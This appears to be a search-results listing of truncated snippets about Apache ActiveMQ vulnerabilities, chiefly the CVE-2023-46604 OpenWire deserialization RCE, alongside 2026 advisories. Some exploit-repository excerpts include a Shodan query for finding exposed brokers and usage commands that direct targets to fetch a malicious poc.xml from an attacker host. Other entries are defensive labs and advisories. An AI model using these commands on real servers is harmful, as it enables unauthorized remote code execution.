60 matches found
CVE-2023-46604
CVE-2023-46604 01. Apache ActiveMQ 和 OpenWire 1 Apache ActiveMQ 与 OpenWire 概述 ActiveMQ 是一个开源的消息传递和集成模式服务器,它包含支持 JMS 的代理(Broker),不仅可以在 Java 环境中使用,还能够实现使用多种语言的系统之间的通信。此外,通过集群功能、数据库以及文件系统,它维护了各系统之间的一致性和持久性。 OpenWire 是 Apache ActiveMQ 使用的一种二进制消息协议。它专为代理(ActiveMQ)与客户端之间的高效数据传输而设计。 CVE-2023-46604 是...
CVE-2023-46604
攻击技术摘要:CVE-2023-46604 该脚本利用Apache ActiveMQ中的不安全反序列化漏洞(CVE-2023-46604),实现在目标服务器上的远程代码执行。 漏洞利用过程描述 漏洞目标: 漏洞存在于Apache ActiveMQ的OpenWire协议中。 允许对对象进行不安全反序列化,从而可在服务器上执行任意代码。 先决条件: 能够通过网络访问ActiveMQ服务器。 目标服务器可访问的一个恶意XML文件(poc.xml),通过URL提供。 攻击组件: Python脚本:自动化向ActiveMQ服务器发送恶意载荷。 XML文件(poc.xml):包含一个Spring...
CVE-2023-46604-ActiveMQ-RCE-pseudoshell
CVE-2023-46604 RCE 伪终端 该脚本利用 CVE-2023-46604(Apache ActiveMQ)生成一个伪终端。该漏洞源于 OpenWire 协议中的不安全反序列化,可实现远程代码执行。 描述 CVE-2023-46604 是 Apache ActiveMQ 的 OpenWire 协议中存在的一个反序列化漏洞。攻击者可利用该缺陷在运行 ActiveMQ 的服务器上执行任意代码。攻击者可以构造一个恶意 XML 文件,远程服务器将执行其中的命令。 此漏洞利用工具自动化并简化了 XML 文档的创建过程,提供基础服务器来传输文件,并通过 POST...
CVE-2023-46604
CVE-2023-46604 CVE-2023-46604 漏洞利用工具 此工具可帮助利用此漏洞。 用于查找目标的 Shodan 查询: root@kitploit: product:"ActiveMQ" port:"61616" 工具使用方法: root@kitploit: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target: python3 exploit.py -ip IP -c http://YourVPS/poc.xml...
CVE-2023-46604
CVE-2023-46604 该仓库包含针对影响 Apache ActiveMQ 的 CVE-2023-46604 漏洞的利用脚本和概念验证 PoC XML 文件。该漏洞由于 OpenWire 协议中的不安全反序列化实践,允许远程代码执行。 描述 CVE-2023-46604 是 Apache ActiveMQ 的 OpenWire 协议中存在的一个反序列化漏洞。攻击者可以利用此漏洞在运行 ActiveMQ 的服务器上执行任意代码。本仓库中的利用脚本自动化了向服务器发送精心构造的请求以触发该漏洞的过程。 仓库内容 exploit.py - 触发漏洞的主要 Python 利用脚本。...
CVE-2023-46604-LAB
CVE-2023-46604 – Apache ActiveMQ RCE OpenWire Protocol 此仓库记录了一个用于理解和检测影响Apache ActiveMQ的CVE-2023-46604漏洞的实验室环境。 此项目的目标: 了解攻击行为在协议层面的表现 捕获恶意的OpenWire流量 使用Suricata构建检测规则 记录步骤,用于教育和防御安全用途 ⚠️ 重要提示 :此仓库仅供教育和防御安全目的。 此处不包含攻击代码。仅包含实验室搭建、检测和缓解步骤。 目录 实验室网络拓扑 ActiveMQ安装笔记 Wireshark检测步骤 Suricata IDS规则与配置...
CVE-2023-46604-Apache-ActiveMQ-RCE-exp
项目参考 本项目是参考 https://github.com/X1r0z/ActiveMQ-RCE 项目的 exp 来重写的一个 python 版本的 exp 。 用法 root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 其中 -p 参数默认为 activeMQ 的默认端口。-x 参数注意需要加上协议的前缀。 介绍 这里附上 openwire 协议的图示就很明白了。 下面给出的是 Throwable 类型的数据包格式。...
OpenWire-CVE-2023-46604-Investigation
OpenWire-CVE-2023-46604-调查 OpenWire 实验室 在我担任二级安全运营中心(SOC)分析师期间,我收到了一名一级分析师上报的事件,涉及一台可公开访问的服务器,该服务器被观察到与多个可疑的外部 IP 地址进行通信。 对此,我启动了标准的事件响应(IR)流程,包括将该受影响服务器与网络隔离,以防止横向移动和潜在的数据外泄。随后,我从 NSM 平台获取了一份数据包捕获(PCAP)文件以作进一步调查。 我的目标是分析网络流量,并识别任何恶意活动指标。 1. 识别第一个可疑的外部 IP 地址 在分析网络流量并审查与该服务器建立的连接后,我识别出与 OpenWire...
CVE-2026-50734
Memory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ Client, Apache ActiveMQ, and Apache ActiveMQ All allows an unauthenticated network attacker to cause a broker DoS by sending a crafted WireFormatInfo frame with a malicious large size value. The broker may allocate memor...
CVE-2026-50750 Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All: Pre-authentication OpenWire DoS following fix for CVE-2026-49270
Denial of Service via Out of Memory vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All. Following the fix for CVE-2026-49270 an unauthenticated attacker can now cause broker OOM by sending an repeated BrokerInfo commands without sending a ConnectionInfo, until the broke...
CVE-2026-53917
CVE-2026-53917 describes an unbounded memory allocation vulnerability in OpenWire property unmarshalling in Apache ActiveMQ and related builds. An authenticated user can send a crafted OpenWire Message with a very large encoded size value for a message property map, causing OpenWire maps to be un...
Linux Distros Unpatched Vulnerability : CVE-2026-32642
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Incorrect Authorization CWE-863 vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to crea...
Incorrect Authorization
Overview Affected versions of this package are vulnerable to Incorrect Authorization in the OpenWire protocol when an authenticated user with the createDurableQueue permission but without the createAddress permission attempts to create a non-durable JMS topic subscription on a non-existent addres...
Incorrect Authorization
Overview org.apache.activemq:artemis-openwire-protocol is a package for activemq. Affected versions of this package are vulnerable to Incorrect Authorization in the OpenWire protocol when an authenticated user with the createDurableQueue permission but without the createAddress permission attempt...
GHSA-F4GC-MWRG-Q36R Apache Artemis: Unauthorized Temporary Address Creation via OpenWire Protocol
Incorrect Authorization CWE-863 vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue"...
Apache Artemis: Unauthorized Temporary Address Creation via OpenWire Protocol
Incorrect Authorization CWE-863 vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue"...
CVE-2026-32642
Incorrect Authorization CWE-863 vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue"...
UBUNTU-CVE-2026-32642
Incorrect Authorization CWE-863 vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue"...
CVE-2026-32642
Incorrect Authorization CWE-863 vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue"...
CVE-2026-32642 Apache Artemis, Apache ActiveMQ Artemis: Temporary address auto-created for OpenWire consumer without createAddress permission
Incorrect Authorization CWE-863 vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue"...